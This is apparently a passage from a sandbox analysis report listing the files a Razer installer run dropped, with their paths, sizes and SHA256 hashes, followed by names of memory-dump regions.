                                                                                            api-ms-win-crt-environment-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-environment-l1-1-0.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 2cf24c6aac48261ab04eb616e85dd707417697764f860fc29dd3955dd2c49226
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-crt-filesystem-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-filesystem-l1-1-0.dll
                                                                                            • Size 20KB
                                                                                            • SHA256 fcd8b213e2e9962b84d1eec4296bbefdf4465398a235e118be12c878fdc08c05
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-crt-heap-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-heap-l1-1-0.dll
                                                                                            • Size 19KB
                                                                                            • SHA256 242cb185643df586a5f55735e8810b8d2b6b095c78be206e42cdaae7665bb2cf
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-crt-locale-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-locale-l1-1-0.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 81a7a98e11ae94236f34a82a0d450a1100a9b8e752205248de0037a764b91a07
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-crt-math-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-math-l1-1-0.dll
                                                                                            • Size 28KB
                                                                                            • SHA256 4a88f73cae12080b9a637f76f8ab1b8ac29829817ff03ddd611a25b6981ee573
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-crt-multibyte-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-multibyte-l1-1-0.dll
                                                                                            • Size 26KB
                                                                                            • SHA256 e7238f5e38d3991e9d6219255e8cd951d6dd431402c4b4b295a68bd43efa3d48
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-crt-private-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-private-l1-1-0.dll
                                                                                            • Size 71KB
                                                                                            • SHA256 f8720e9250c5d5aace6918e1f67f6105f2cd08c0cf55633d2b6b28032d904e9a
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-crt-process-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-process-l1-1-0.dll
                                                                                            • Size 19KB
                                                                                            • SHA256 ecc116471ccfa09c599d389d71a574ebed01260b9760021a40665c4d8a22257d
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-crt-runtime-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-runtime-l1-1-0.dll
                                                                                            • Size 22KB
                                                                                            • SHA256 24bc147f7c8a2dfcbe9296d83ce75a1f2c02076d8f6e6c81f6032c927ed5888a
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-crt-stdio-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-stdio-l1-1-0.dll
                                                                                            • Size 24KB
                                                                                            • SHA256 5a3d9a0a2c1f9b14cb52d9cce92b761ec1fe0460ea7d994179c96648455ead84
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-crt-string-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-string-l1-1-0.dll
                                                                                            • Size 24KB
                                                                                            • SHA256 d51dfd972e6df5e8185dce0b4eb26dccb0527c5f1c63bc081677335f69b92b67
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-crt-time-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-time-l1-1-0.dll
                                                                                            • Size 20KB
                                                                                            • SHA256 d5e2fb8495bbbfb66b2612cd5179c1a5f4746dcdd043ecd474363ffe4a8deb4f
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            api-ms-win-crt-utility-l1-1-0.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\api-ms-win-crt-utility-l1-1-0.dll
                                                                                            • Size 18KB
                                                                                            • SHA256 4eca5b9e5be5750b0bc03fd74b6d5e351cb6d70fd63d5f740a1a122f906390e0
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            concrt140.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\concrt140.dll
                                                                                            • Size 238KB
                                                                                            • SHA256 c1e5d240bc3a1c5b36770110ae35a10fbf7438a5c617e8c751b00bec10fce063
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            cpprest140_2_10.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\cpprest140_2_10.dll
                                                                                            • Size 4.4MB
                                                                                            • SHA256 aad1bbee36f08b0b87aa0b14b273f1e6aeaabb1a1500ecc9bff5500292ada648
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            Razer.RazerInstallerCommon.resources.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\de-DE\Razer.RazerInstallerCommon.resources.dll
                                                                                            • Size 25KB
                                                                                            • SHA256 486334a88e9d5b8c128cbd2acb43bf6741aca64dd6887786bbe667f599562f55
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            dockEID.json

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\dockEID.json
                                                                                            • Size 76B
                                                                                            • SHA256 9bdedfd8cb1722256f35a80fe26c4ae469df974e3f08b0ed2b0e2506ea0d004a
                                                                                            • MD5 SHA1 SHA512

                                                                                            dockEID.json

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\dockEID.json
                                                                                            • Size 108B
                                                                                            • SHA256 9c27c8e8af9db9c93bdec5981e8348758b8de6d21f7da7fd196f88e440c89561
                                                                                            • MD5 SHA1 SHA512

                                                                                            dongle.json

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\dongle.json
                                                                                            • Size 109B
                                                                                            • SHA256 b692f6b0ef46cacfaa10f4069d4bc88ccd054e6149b55e15c5e245cc69d25ded
                                                                                            • MD5 SHA1 SHA512

                                                                                            dongleV2.json

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\dongleV2.json
                                                                                            • Size 264B
                                                                                            • SHA256 044103626cfb031b8b3736f172257af5090bdcd097b160d11013c64ae3c710f6
                                                                                            • MD5 SHA1 SHA512

                                                                                            dongleV2.json

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\dongleV2.json
                                                                                            • Size 295B
                                                                                            • SHA256 fe8be471fa6bbd88d62b4c9c1305dccad43feef8c7e6e303f7a06ea7a383c073
                                                                                            • MD5 SHA1 SHA512

                                                                                            dummyProt.json

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\dummyProt.json
                                                                                            • Size 77B
                                                                                            • SHA256 731b66b46ae9477920e21e26f4e30fbb9e2e24bc135a0811568254d23598ce9b
                                                                                            • MD5 SHA1 SHA512

                                                                                            Razer.RazerInstallerCommon.resources.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\es-ES\Razer.RazerInstallerCommon.resources.dll
                                                                                            • Size 25KB
                                                                                            • SHA256 6bdb9344af3b9beb8e7f515767697b70affedc52e7eed552524328ec7c59f325
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            Razer.RazerInstallerCommon.resources.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\fr-FR\Razer.RazerInstallerCommon.resources.dll
                                                                                            • Size 25KB
                                                                                            • SHA256 7d11bb0abf4a6ae8d489add7d82cb90ac0298faf348e3a0bb9ff64183d909935
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            Razer.RazerInstallerCommon.resources.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\ja-JP\Razer.RazerInstallerCommon.resources.dll
                                                                                            • Size 27KB
                                                                                            • SHA256 0dd30251ae9df0720aa4db8ca026cb40615b9d692c39e9e48d5f235e797f417f
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            Razer.RazerInstallerCommon.resources.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\ko-KR\Razer.RazerInstallerCommon.resources.dll
                                                                                            • Size 25KB
                                                                                            • SHA256 22e16f1e09248ca4162e766c143ca4f932fba4023962f0c45a14d29e3072f6b3
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            msvcp140.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\msvcp140.dll
                                                                                            • Size 433KB
                                                                                            • SHA256 f656f0f98cf2510f4e0fe5d5666643028a6b8bac50bf553c0a464456c0e82934
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            Razer.RazerInstallerCommon.resources.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\pt-BR\Razer.RazerInstallerCommon.resources.dll
                                                                                            • Size 25KB
                                                                                            • SHA256 6f233deebbfed108da76b75da47b37d6ac37dea83d2ecff6a0941b25cdcebd4d
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            Razer.RazerInstallerCommon.resources.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\ru-RU\Razer.RazerInstallerCommon.resources.dll
                                                                                            • Size 27KB
                                                                                            • SHA256 eeb0cbbcb53e6294012bf9412b7113c3e6b45069794475667bb2649b19374c41
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            rzS3detgmr_CWrapper.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\rzS3detgmr_CWrapper.dll
                                                                                            • Size 91KB
                                                                                            • SHA256 35fc7274acd8342c33213f4d1058f927a3d1a69ce40599decc0898fffa2f9fcc
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            rzS3detmgr.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\rzS3detmgr.dll
                                                                                            • Size 489KB
                                                                                            • SHA256 c4f906944db89f70149103a3fdd749c79ae5d6b355be4b5ab60c967033bdd6ff
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            systems.json

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\systems.json
                                                                                            • Size 495B
                                                                                            • SHA256 2f2541706f13fd6d3eaad2628f7b4fa35f0648822edacb8b92d04cea42fc5537
                                                                                            • MD5 SHA1 SHA512

                                                                                            ucrtbase.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\ucrtbase.dll
                                                                                            • Size 899KB
                                                                                            • SHA256 dd32570b8183a8b117233333153da29cc8d2ac5b1c868440dd852d9c3f77baf5
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            vccorlib140.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\vccorlib140.dll
                                                                                            • Size 264KB
                                                                                            • SHA256 92cd13772dd046e9e8a36343c96e6c145ce9072dc51de05aeae4a770cf4b1c33
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            vcruntime140.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\vcruntime140.dll
                                                                                            • Size 83KB
                                                                                            • SHA256 5695560a50ed9746696c0d647e55d77459f5981907c177d086df36656a978b19
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            Razer.RazerInstallerCommon.resources.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\zh-CHS\Razer.RazerInstallerCommon.resources.dll
                                                                                            • Size 24KB
                                                                                            • SHA256 ce8e243207f1b784d3b2d369d5c87f4123b5eb2614552cfb53e60ebd6137d846
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            Razer.RazerInstallerCommon.resources.dll

                                                                                            • Path C:\Windows\Installer\Razer\Installer\App\zh-CHT\Razer.RazerInstallerCommon.resources.dll
                                                                                            • Size 24KB
                                                                                            • SHA256 bc8a635eeee2c0d2a7a89294e1b86bc21fcc817bbdb6e0a3545166f08126422a
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            RazerInstaller.exe

                                                                                            • Path C:\Windows\Installer\Razer\Installer\RazerInstaller.exe
                                                                                            • Size 7.4MB
                                                                                            • SHA256 514826f28c1bd194f65b742cbe3bbe52c0f163bb1a55da80a25639d4e4b6d2ab
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            Schedule Maintenance Work

                                                                                            • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
                                                                                            • Size 2KB
                                                                                            • SHA256 ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
                                                                                            • MD5 SHA1 SHA512

                                                                                            Schedule Maintenance Work

                                                                                            • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
                                                                                            • Size 2KB
                                                                                            • SHA256 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
                                                                                            • MD5 SHA1 SHA512

                                                                                            Schedule Wake To Work

                                                                                            • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
                                                                                            • Size 2KB
                                                                                            • SHA256 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
                                                                                            • MD5 SHA1 SHA512

                                                                                            Schedule Wake To Work

                                                                                            • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
                                                                                            • Size 2KB
                                                                                            • SHA256 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
                                                                                            • MD5 SHA1 SHA512

                                                                                            Schedule Work

                                                                                            • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                            • Size 2KB
                                                                                            • SHA256 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
                                                                                            • MD5 SHA1 SHA512

                                                                                            Schedule Work

                                                                                            • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                            • Size 2KB
                                                                                            • SHA256 a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
                                                                                            • MD5 SHA1 SHA512

                                                                                            memory/440-556-0x00007FFEE21B0000-0x00007FFEE21C0000-memory.dmp

                                                                                            memory/952-549-0x00007FFEE21B0000-0x00007FFEE21C0000-memory.dmp

                                                                                            memory/1080-563-0x00007FFEE21B0000-0x00007FFEE21C0000-memory.dmp

                                                                                            memory/1164-553-0x00007FFEE21B0000-0x00007FFEE21C0000-memory.dmp

                                                                                            memory/1288-0-0x00007FFF03ED3000-0x00007FFF03ED5000-memory.dmp

                                                                                            memory/1288-1-0x0000000000960000-0x00000000011E2000-memory.dmp

                                                                                            memory/1328-555-0x00007FFEE21B0000-0x00007FFEE21C0000-memory.dmp

                                                                                            memory/1452-565-0x00007FFEE21B0000-0x00007FFEE21C0000-memory.dmp

                                                                                            memory/1644-566-0x00007FFEE21B0000-0x00007FFEE21C0000-memory.dmp

                                                                                            memory/1736-550-0x00007FFEE21B0000-0x00007FFEE21C0000-memory.dmp

                                                                                            memory/2064-558-0x00007FFEE21B0000-0x00007FFEE21C0000-memory.dmp

                                                                                            memory/2544-23-0x000000001B3D0000-0x000000001B446000-memory.dmp

                                                                                            memory/2544-22-0x0000000000640000-0x00000000006F6000-memory.dmp

                                                                                            memory/2560-514-0x00007FFEE21B0000-0x00007FFEE21C0000-memory.dmp

                                                                                            memory/2644-564-0x00007FFEE21B0000-0x00007FFEE21C0000-memory.dmp

                                                                                            memory/2748-515-0x00007FFEE21B0000-0x00007FFEE21C0000-memory.dmp

                                                                                            memory/3392-567-0x00007FFEE21B0000-0x00007FFEE21C0000-memory.dmp

                                                                                            memory/3528-513-0x00007FFEE21B0000-0x00007FFEE21C0000-memory.dmp

                                                                                            memory/3528-499-0x0000000003580000-0x00000000035AA000-memory.dmp

                                                                                            memory/3636-554-0x00007FFEE21B0000-0x00007FFEE21C0000-memory.dmp

                                                                                            memory/4036-493-0x000002144A100000-0x000002144A14C000-memory.dmp

                                                                                            memory/4036-497-0x0000021448070000-0x0000021448084000-memory.dmp

                                                                                            memory/4036-492-0x0000021448060000-0x0000021448068000-memory.dmp

                                                                                            memory/4036-333-0x000002144A4D0000-0x000002144A514000-memory.dmp

                                                                                            memory/4036-456-0x000002144A520000-0x000002144A596000-memory.dmp

                                                                                            memory/4036-278-0x0000021447FF0000-0x0000021448012000-memory.dmp

                                                                                            memory/4088-551-0x00007FFEE21B0000-0x00007FFEE21C0000-memory.dmp

                                                                                            memory/4328-562-0x00007FFEE21B0000-0x00007FFEE21C0000-memory.dmp

                                                                                            memory/4416-561-0x0000000006630000-0x0000000006910000-memory.dmp

                                                                                            memory/4416-719-0x000000000CDB0000-0x000000000CDB8000-memory.dmp

                                                                                            memory/4416-619-0x00000000071D0000-0x00000000071DE000-memory.dmp

                                                                                            memory/4416-618-0x00000000071F0000-0x0000000007228000-memory.dmp

                                                                                            memory/4416-620-0x0000000007240000-0x0000000007248000-memory.dmp

                                                                                            memory/4416-621-0x00000000072A0000-0x00000000072C2000-memory.dmp

                                                                                            memory/4416-622-0x0000000007280000-0x000000000729A000-memory.dmp

                                                                                            memory/4416-623-0x00000000072D0000-0x0000000007316000-memory.dmp

                                                                                            memory/4416-600-0x0000000005A90000-0x0000000005A9A000-memory.dmp

                                                                                            memory/4416-699-0x000000000AF90000-0x000000000B042000-memory.dmp

                                                                                            memory/4416-703-0x000000000C060000-0x000000000C22E000-memory.dmp

                                                                                            memory/4416-704-0x000000000BE90000-0x000000000BEB2000-memory.dmp

                                                                                            memory/4416-706-0x000000000C680000-0x000000000C6A0000-memory.dmp

                                                                                            memory/4416-705-0x000000000C5F0000-0x000000000C67A000-memory.dmp

                                                                                            memory/4416-707-0x000000000C820000-0x000000000C832000-memory.dmp

                                                                                            memory/4416-709-0x000000000C880000-0x000000000C8BC000-memory.dmp

                                                                                            memory/4416-713-0x000000000CAD0000-0x000000000CAED000-memory.dmp

                                                                                            memory/4416-617-0x000000000A990000-0x000000000A998000-memory.dmp

                                                                                            memory/4416-734-0x000000000D3A0000-0x000000000D406000-memory.dmp

                                                                                            memory/4416-737-0x000000000D280000-0x000000000D2AF000-memory.dmp

                                                                                            memory/4416-742-0x000000000D250000-0x000000000D260000-memory.dmp

                                                                                            memory/4416-743-0x000000000D270000-0x000000000D27A000-memory.dmp

                                                                                            memory/4416-738-0x000000006B5E0000-0x000000006B60F000-memory.dmp

                                                                                            memory/4416-598-0x0000000005A20000-0x0000000005A42000-memory.dmp

                                                                                            memory/4416-597-0x0000000005D50000-0x0000000005D7A000-memory.dmp

                                                                                            memory/4416-596-0x00000000057D0000-0x00000000057DA000-memory.dmp

                                                                                            memory/4416-815-0x000000000E720000-0x000000000E8A6000-memory.dmp

                                                                                            memory/4416-491-0x0000000000A80000-0x0000000000ECC000-memory.dmp

                                                                                            memory/4416-512-0x0000000005AB0000-0x0000000005B06000-memory.dmp

                                                                                            memory/4416-498-0x0000000005770000-0x000000000577A000-memory.dmp

                                                                                            memory/4416-496-0x0000000005890000-0x0000000005922000-memory.dmp

                                                                                            memory/4416-495-0x00000000057F0000-0x000000000588C000-memory.dmp

                                                                                            memory/4416-494-0x0000000005DA0000-0x0000000006344000-memory.dmp

                                                                                            memory/4920-552-0x00007FFEE21B0000-0x00007FFEE21C0000-memory.dmp